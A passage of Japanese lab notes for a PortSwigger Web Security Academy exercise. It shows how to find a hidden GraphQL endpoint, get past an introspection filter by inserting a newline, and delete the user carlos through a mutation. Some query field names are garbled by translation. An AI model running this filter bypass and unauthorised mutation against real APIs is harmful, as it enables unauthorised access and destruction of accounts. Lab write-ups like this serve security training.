> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/graphql/graphql-cached-endpoint-discovery.md).

# キャッシュされた GraphQL エンドポイントの発見

PortSwigger Web Security Academy のラボ向けメモ。悪用の手順、ペイロードのテスト、Burp Suite による検証、修復の文脈を含む。

### 隠されたGraphQLエンドポイントを見つける

**ラボの背景**

このラボのユーザー管理機能はGraphQLに基づいています **隠された** エンドポイント。 / サイトを閲覧するだけでこれを見つけることはできず、 **PlotQL** 防御機構が導入されています。

**目的：**

* 隠されたGraphQLエンドポイントを特定する
* ユーザーを削除 **carlos**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb49bb7f6974edc0d89d671240d5451b76e08f12%2F%7B7B7755F0-1391-4EA8-AFFE-5575F196C609%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**初期偵察**

通常どおりアプリケーションを操作しても、GraphQLの使用を示す目に見える手がかりはありません。 / したがって、最も一般的なGraphQLのパスを手動でテストする必要があります。

**一般的なGraphQLルートのテスト**

以下のルートがテストされます

```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```

そのルート **`/api`** は次のメッセージを返します：

```bash
"クエリがありません"
```

これは、アクティブなGraphQLエンドポイントの存在を明確に示しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e865a386d0b7840e47d6b8d7e7b102cd67e078ca%2F%7BCDFC045F-E196-429C-97E0-31B3EF5A9190%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**イントロスペクションのフィルタリングの確認**

簡単なイントロスペクション要求をURL経由で送信します：

```bash
api?query={__schema{types{name}}}
```

サーバー応答:

`GraphQLのイントロスペクションは許可されていませんが、クエリに__schemaまたは__typeが含まれていました`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4735fe226d529da770b677338de10bcf1b568eb%2F%7BB2D6713E-D711-426A-89D7-833C9A581C30%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

BurpまたはGraphiQL経由で完全なイントロスペクション要求を送信しても、同じブロックが発生します。

{% code overflow="wrap" %}

```bash
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            説明
            場所
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    種類
    name
    説明
    fields(includeDeprecated: true) {
        name
        説明
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        非推奨である
        非推奨理由
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        説明
        非推奨である
        非推奨理由
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    説明
    type {
        ...TypeRef
    }
    デフォルト値
}

fragment TypeRef on __Type {
    種類
    name
    ofType {
        種類
        name
        ofType {
            種類
            name
            ofType {
                種類
                name
            }
        }
    }
}
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e39e6e073f957e8cf5f306c410ac7f3de74b66da%2F%7B49FFC8B7-B8D7-4FCA-AF44-0E83D2555692%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**イントロスペクションのブロックを回避する**

キーワードベースのフィルタリングを回避するために `__schema` および `__type`、 **改行** が開き波括弧の前に追加されます：

```graphql
__schema
     {
```

このわずかな変更により、リクエストはサーバーに受け入れられ、処理されるようになります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05a20008a08fba9b0c3861686e0796366cd885bd%2F%7B3C57BF1F-0427-4631-842C-A5A979D02905%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**GraphQL図の分析**

イントロスペクションが受け入れられると、見つかったリクエストは **サイトマップ** より簡単に分析するために送られます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba33f8ddfdb23f07a234154e39813cf9ed2e4048%2F%7B78F1AC95-71FB-4567-A71A-A6C009C9C7DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2つの重要なリクエストが特定されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-831817fbab3750fdb8660d57b8321af023a38a67%2F%7BE565331A-0232-46D7-9169-A079C11F3C8F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**IDによるユーザーの取得**

識別子からユーザー名を取得するリクエスト：

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    username
  }
}
```

次のIDを指定すると：

```json
{
    "id":3
}
```

IDを持つユーザーが特定されます **3** は次に対応します **carlos**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-998111f8e3a990548f5255e41a8ba4ae10b1fd2b%2F%7BECA5D49B-79B2-4930-A0DE-2D3A89D84B8B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**carlosユーザーの削除**

移行により、ユーザーは組織から削除されます：

```graphql
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      id
      username
    }
  }
}
```

使用したペイロード：

```graphql
{
  "input": {
    "id": 3
  }
}
```

ユーザー **carlos** はその後正常に削除されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-837b38050f1e6f9afc59abfa21903c249be4fa03%2F%7B166EBBF3-2428-4BF1-B444-A723BC4D058E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/graphql/graphql-cached-endpoint-discovery.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
